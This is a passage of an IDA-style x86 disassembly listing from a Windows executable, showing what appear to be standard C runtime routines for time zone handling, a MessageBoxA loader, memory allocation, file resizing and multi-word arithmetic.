		push	[esp+8+arg_0]
		call	near ptr 28A09E7h
		nop
		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi


loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247A8	proc near		; CODE XREF: sub_4222C2+15Bp
					; sub_42470C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 2600A39h
		test	eax, eax
		jz	short loc_4247BC
		xor	esi, esi


loc_4247BC:				; CODE XREF: sub_4247A8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4247A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42255C


loc_4247C0:				; CODE XREF: sub_42255C:loc_4225ADj
		push	0Ah
		call	sub_4235C9
		push	16h
		call	sub_425955
		pop	ecx
		pop	ecx
		push	3
		call	sub_41B7C2
; END OF FUNCTION CHUNK	FOR sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4247D7	proc near		; CODE XREF: sub_422669:loc_4226A8p
		cmp	dword_4DBC40, 0
		jnz	short locret_4247EB
		call	sub_4247EC
		inc	dword_4DBC40

locret_4247EB:				; CODE XREF: sub_4247D7+7j
		retn
sub_4247D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247EC	proc near		; CODE XREF: sub_4247D7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DBB88, ebp
		mov	dword_43D430, ebx
		mov	dword_43D420, ebx
		call	sub_425AC7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424915
		push	offset dword_4DBB90
		nop
		call	near ptr 2860000h
		cmp	eax, ebx
		jz	loc_424A44
		mov	eax, dword_4DBB90
		mov	ecx, dword_4DBBE4
		imul	eax, 3Ch
		cmp	word_4DBBD6, bp
		push	1
		pop	edx
		mov	dword_43D388, eax
		mov	dword_4DBB88, edx
		jz	short loc_424863
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43D388, eax


loc_424863:				; CODE XREF: sub_4247EC+69j
		cmp	word_4DBC2A, bp
		jz	short loc_424887
		mov	eax, dword_4DBC38
		cmp	eax, ebp
		jz	short loc_424887
		sub	eax, ecx
		mov	dword_43D38C, edx
		imul	eax, 3Ch
		mov	dword_43D390, eax
		jmp	short loc_424893
; ---------------------------------------------------------------------------


loc_424887:				; CODE XREF: sub_4247EC+7Ej
					; sub_4247EC+87j
		mov	dword_43D38C, ebp
		mov	dword_43D390, ebp


loc_424893:				; CODE XREF: sub_4247EC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42717C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43D414
		push	ebx
		push	offset dword_4DBB94
		push	edi
		push	dword_4DBA24
		call	esi
		test	eax, eax
		jz	short loc_4248D0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4248D0
		mov	eax, off_43D414
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4248D8
; ---------------------------------------------------------------------------


loc_4248D0:				; CODE XREF: sub_4247EC+D1j
					; sub_4247EC+D7j
		mov	eax, off_43D414
		and	byte ptr [eax],	0


loc_4248D8:				; CODE XREF: sub_4247EC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43D418
		push	ebx
		push	offset dword_4DBBE8
		push	edi
		push	dword_4DBA24
		call	esi
		test	eax, eax
		jz	loc_424A3C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424A3C
		mov	eax, off_43D418
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424A44
; ---------------------------------------------------------------------------


loc_424915:				; CODE XREF: sub_4247EC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424A44
		mov	eax, dword_4DBC3C
		cmp	eax, ebp
		jz	short loc_424938
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424A44


loc_424938:				; CODE XREF: sub_4247EC+139j
		push	dword_4DBC3C
		call	sub_41B0B1
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DBC3C, eax
		jz	loc_424A44
		push	esi
		push	eax
		call	sub_41BEB0
		push	3
		push	esi
		push	off_43D414
		call	sub_41B5F0
		mov	eax, off_43D414
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42498D
		push	1
		inc	esi
		pop	edi


loc_42498D:				; CODE XREF: sub_4247EC+19Bj
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43D388, ecx


loc_4249A4:				; CODE XREF: sub_4247EC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4249B2
		cmp	al, bl
		jl	short loc_4249B5
		cmp	al, 39h
		jg	short loc_4249B5


loc_4249B2:				; CODE XREF: sub_4247EC+1BCj
		inc	esi
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------


loc_4249B5:				; CODE XREF: sub_4247EC+1C0j
					; sub_4247EC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43D388
		add	ecx, eax
		mov	dword_43D388, ecx


loc_4249D3:				; CODE XREF: sub_4247EC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4249E0
		cmp	al, 39h
		jg	short loc_4249E0
		inc	esi
		jmp	short loc_4249D3
; ---------------------------------------------------------------------------


loc_4249E0:				; CODE XREF: sub_4247EC+1EBj
					; sub_4247EC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	ecx, dword_43D388
		add	ecx, eax
		mov	dword_43D388, ecx


loc_4249FB:				; CODE XREF: sub_4247EC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424A08
		cmp	al, 39h
		jg	short loc_424A08
		inc	esi
		jmp	short loc_4249FB
; ---------------------------------------------------------------------------


loc_424A08:				; CODE XREF: sub_4247EC+1CCj
					; sub_4247EC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424A14
		neg	ecx
		mov	dword_43D388, ecx


loc_424A14:				; CODE XREF: sub_4247EC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43D38C, eax
		jz	short loc_424A3C
		push	3
		push	esi
		push	off_43D418
		call	sub_41B5F0
		mov	eax, off_43D418
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424A44
; ---------------------------------------------------------------------------


loc_424A3C:				; CODE XREF: sub_4247EC+10Bj
					; sub_4247EC+115j ...
		mov	eax, off_43D418
		and	byte ptr [eax],	0


loc_424A44:				; CODE XREF: sub_4247EC+40j
					; sub_4247EC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4247EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A4A	proc near		; CODE XREF: sub_422669+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43D38C, edi
		jnz	short loc_424A5E


loc_424A57:				; CODE XREF: sub_424A4A+148j
					; sub_424A4A+150j ...
		xor	eax, eax
		jmp	loc_424BAA
; ---------------------------------------------------------------------------


loc_424A5E:				; CODE XREF: sub_424A4A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43D420
		jnz	short loc_424A7C
		cmp	eax, dword_43D430
		jz	loc_424B7E


loc_424A7C:				; CODE XREF: sub_424A4A+24j
		cmp	dword_4DBB88, edi
		jz	loc_424B54
		movzx	ecx, word_4DBC36
		push	ecx
		cmp	word_4DBC28, di
		movzx	ecx, word_4DBC34
		push	ecx
		movzx	ecx, word_4DBC32
		push	ecx
		movzx	ecx, word_4DBC30
		push	ecx
		jnz	short loc_424ACE
		movzx	ecx, word_4DBC2C
		push	edi
		push	ecx
		movzx	ecx, word_4DBC2E
		push	ecx
		movzx	ecx, word_4DBC2A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------


loc_424ACE:				; CODE XREF: sub_424A4A+65j
		movzx	ecx, word_4DBC2E
		push	ecx
		push	edi
		movzx	ecx, word_4DBC2A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_424AE2:				; CODE XREF: sub_424A4A+82j
		push	ebx
		call	sub_424BF6
		movzx	eax, word_4DBBE2
		add	esp, 2Ch
		cmp	word_4DBBD4, di
		push	eax
		movzx	eax, word_4DBBE0
		push	eax
		movzx	eax, word_4DBBDE
		push	eax
		movzx	eax, word_4DBBDC
		push	eax
		jnz	short loc_424B3C
		movzx	eax, word_4DBBD8
		push	edi
		push	eax
		movzx	eax, word_4DBBDA
		push	eax
		movzx	eax, word_4DBBD6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_424B31:				; CODE XREF: sub_424A4A+108j
		push	edi
		call	sub_424BF6
		add	esp, 2Ch
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------


loc_424B3C:				; CODE XREF: sub_424A4A+C8j
		movzx	eax, word_4DBBDA
		push	eax
		push	edi
		movzx	eax, word_4DBBD6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424B31
; ---------------------------------------------------------------------------


loc_424B54:				; CODE XREF: sub_424A4A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424BF6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424BF6
		add	esp, 58h


loc_424B7E:				; CODE XREF: sub_424A4A+2Cj
					; sub_424A4A+F0j
		mov	edx, dword_43D424
		mov	eax, dword_43D434
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424BAE
		cmp	ecx, edx
		jl	loc_424A57
		cmp	ecx, eax
		jg	loc_424A57
		cmp	ecx, edx
		jle	short loc_424BC2
		cmp	ecx, eax
		jge	short loc_424BC2


loc_424BA8:				; CODE XREF: sub_424A4A+166j
					; sub_424A4A+16Aj
		mov	eax, ebx


loc_424BAA:				; CODE XREF: sub_424A4A+Fj
					; sub_424A4A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424BAE:				; CODE XREF: sub_424A4A+144j
		cmp	ecx, eax
		jl	short loc_424BA8
		cmp	ecx, edx
		jg	short loc_424BA8
		cmp	ecx, eax
		jle	short loc_424BC2
		cmp	ecx, edx
		jl	loc_424A57


loc_424BC2:				; CODE XREF: sub_424A4A+158j
					; sub_424A4A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424BE9
		xor	ecx, ecx
		cmp	eax, dword_43D428
		setnl	cl


loc_424BE5:				; CODE XREF: sub_424A4A+1AAj
		mov	eax, ecx
		jmp	short loc_424BAA
; ---------------------------------------------------------------------------


loc_424BE9:				; CODE XREF: sub_424A4A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43D438
		setl	cl
		jmp	short loc_424BE5
sub_424A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BF6	proc near		; CODE XREF: sub_424A4A+99p
					; sub_424A4A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424C91
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424C21
		shl	esi, 2
		mov	eax, dword_43D438[esi]
		jmp	short loc_424C2A
; ---------------------------------------------------------------------------


loc_424C21:				; CODE XREF: sub_424BF6+1Ej
		shl	esi, 2
		mov	eax, dword_43D46C[esi]


loc_424C2A:				; CODE XREF: sub_424BF6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424C64
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424C6E
; ---------------------------------------------------------------------------


loc_424C64:				; CODE XREF: sub_424BF6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_424C6E:				; CODE XREF: sub_424BF6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424CAC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424C82
		mov	esi, dword_43D43C[esi]
		jmp	short loc_424C88
; ---------------------------------------------------------------------------


loc_424C82:				; CODE XREF: sub_424BF6+82j
		mov	esi, dword_43D470[esi]


loc_424C88:				; CODE XREF: sub_424BF6+8Aj
		cmp	ecx, esi
		jle	short loc_424CAC
		sub	ecx, 7
		jmp	short loc_424CAC
; ---------------------------------------------------------------------------


loc_424C91:				; CODE XREF: sub_424BF6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424CA2
		mov	ecx, dword_43D438[eax*4]
		jmp	short loc_424CA9
; ---------------------------------------------------------------------------


loc_424CA2:				; CODE XREF: sub_424BF6+A1j
		mov	ecx, dword_43D46C[eax*4]


loc_424CA9:				; CODE XREF: sub_424BF6+AAj
		add	ecx, [ebp+arg_18]


loc_424CAC:				; CODE XREF: sub_424BF6+7Cj
					; sub_424BF6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424CDD
		mov	eax, [ebp+arg_1C]
		mov	dword_43D424, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43D420, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43D428, eax
		jmp	short loc_424D32
; ---------------------------------------------------------------------------


loc_424CDD:				; CODE XREF: sub_424BF6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43D434, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43D390
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43D438, eax
		jns	short loc_424D15
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43D438, eax
		jmp	short loc_424D26
; ---------------------------------------------------------------------------


loc_424D15:				; CODE XREF: sub_424BF6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424D2C
		sub	eax, edx
		inc	ecx
		mov	dword_43D438, eax


loc_424D26:				; CODE XREF: sub_424BF6+11Dj
		mov	dword_43D434, ecx


loc_424D2C:				; CODE XREF: sub_424BF6+126j
		mov	dword_43D430, ebx


loc_424D32:				; CODE XREF: sub_424BF6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D36	proc near		; CODE XREF: ___:00422E9Dp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424D47
		add	esp, 0Ch
		retn
sub_424D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D47	proc near		; CODE XREF: sub_424D36+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DCEC1[eax], cl
		jnz	short loc_424D74
		cmp	[esp+arg_4], 0
		jz	short loc_424D6D
		movzx	eax, word_43C9E2[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424D6F
; ---------------------------------------------------------------------------


loc_424D6D:				; CODE XREF: sub_424D47+16j
		xor	eax, eax


loc_424D6F:				; CODE XREF: sub_424D47+24j
		test	eax, eax
		jnz	short loc_424D74
		retn
; ---------------------------------------------------------------------------


loc_424D74:				; CODE XREF: sub_424D47+Fj
					; sub_424D47+2Aj
		push	1
		pop	eax
		retn
sub_424D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D78	proc near		; CODE XREF: sub_4235C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DBC44, ebx
		push	esi
		push	edi
		jnz	short loc_424DC7
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26A0C87h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424DFD
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DBC44, eax
		jz	short loc_424DFD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DBC48, eax
		call	esi
		mov	dword_4DBC4C, eax


loc_424DC7:				; CODE XREF: sub_424D78+Bj
		mov	eax, dword_4DBC48
		test	eax, eax
		jz	short loc_424DE6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424DE6
		mov	eax, dword_4DBC4C
		test	eax, eax
		jz	short loc_424DE6
		push	ebx
		call	eax
		mov	ebx, eax


loc_424DE6:				; CODE XREF: sub_424D78+56j
					; sub_424D78+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DBC44


loc_424DF9:				; CODE XREF: sub_424D78+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424DFD:				; CODE XREF: sub_424D78+1Cj
					; sub_424D78+33j
		xor	eax, eax
		jmp	short loc_424DF9
sub_424D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E01	proc near		; CODE XREF: sub_423936+22p
					; sub_423936+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi


loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4DCFE8
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DCFE0
		ja	short loc_424E6C
		push	eax
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------


loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_43C9D4
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB


loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4DCFE4
		nop
		call	near ptr 27B0000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5


loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4DB9DC, 0
		jz	short loc_424EA5
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------


loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+arg_0]


loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch


loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi


loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------


loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4239DB


loc_424EB2:				; CODE XREF: sub_4239DB+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DCC80, esi
		jle	short loc_424F05


loc_424EC1:				; CODE XREF: sub_4239DB+1528j
		mov	eax, dword_4DBC78
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424EFC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424EE0
		push	eax
		call	sub_41B05B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424EE0
		inc	edi


loc_424EE0:				; CODE XREF: sub_4239DB+14F6j
					; sub_4239DB+1502j
		cmp	esi, 14h
		jl	short loc_424EFC
		mov	eax, dword_4DBC78
		push	dword ptr [eax+esi*4]
		call	sub_41B0B1
		mov	eax, dword_4DBC78
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_424EFC:				; CODE XREF: sub_4239DB+14F0j
					; sub_4239DB+1508j
		inc	esi
		cmp	esi, dword_4DCC80
		jl	short loc_424EC1


loc_424F05:				; CODE XREF: sub_4239DB+14E4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4239DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F0A	proc near		; CODE XREF: sub_423A33+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DCDA0
		jnb	loc_42503F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42503F
		push	1
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425049
		push	2
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425049
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FEC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41B590
		push	8000h
		push	ebx
		call	sub_425B44
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_424FA0:				; CODE XREF: sub_424F0A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424FAB
		mov	eax, edi


loc_424FAB:				; CODE XREF: sub_424F0A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424FC9
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FDF
		jmp	short loc_424FA0
; ---------------------------------------------------------------------------


loc_424FC9:				; CODE XREF: sub_424F0A+B5j
		cmp	dword_4DB95C, 5
		jnz	short loc_424FDC
		mov	dword_4DB958, 0Dh


loc_424FDC:				; CODE XREF: sub_424F0A+C6j
		or	esi, 0FFFFFFFFh


loc_424FDF:				; CODE XREF: sub_424F0A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425B44
		pop	ecx
		pop	ecx
		jmp	short loc_42502C
; ---------------------------------------------------------------------------


loc_424FEC:				; CODE XREF: sub_424F0A+71j
		jge	short loc_42502C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_42272B
		push	ebx
		call	sub_4238A2
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2600000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42502C
		mov	dword_4DB958, 0Dh
		nop
		call	near ptr 2680932h
		mov	dword_4DB95C, eax


loc_42502C:				; CODE XREF: sub_424F0A+E0j
					; sub_424F0A:loc_424FECj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42504C
; ---------------------------------------------------------------------------


loc_42503F:				; CODE XREF: sub_424F0A+1Aj
					; sub_424F0A+36j
		mov	dword_4DB958, 9


loc_425049:				; CODE XREF: sub_424F0A+4Ej
					; sub_424F0A+63j
		or	eax, 0FFFFFFFFh


loc_42504C:				; CODE XREF: sub_424F0A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425050	proc near		; CODE XREF: sub_4241CF+2Bp
					; sub_4241CF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425066
		cmp	ecx, esi
		jnb	short loc_425069


loc_425066:				; CODE XREF: sub_425050+10j
		push	1
		pop	eax


loc_425069:				; CODE XREF: sub_425050+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425050	endp


; =============== S U B	R O U T	I N E =======================================



sub_425071	proc near		; CODE XREF: sub_42512A+40p
					; sub_42512A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		inc	dword ptr [esi+8]


loc_4250A3:				; CODE XREF: sub_425071+19j
					; sub_425071+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250BB
		inc	dword ptr [esi+8]


loc_4250BB:				; CODE XREF: sub_425071+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250CF	proc near		; CODE XREF: sub_42512A+30p
					; sub_42512A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4250CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250FD	proc near		; CODE XREF: sub_4256C2+1C8p
					; sub_425BBA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4250FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42512A	proc near		; CODE XREF: sub_4251F1+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
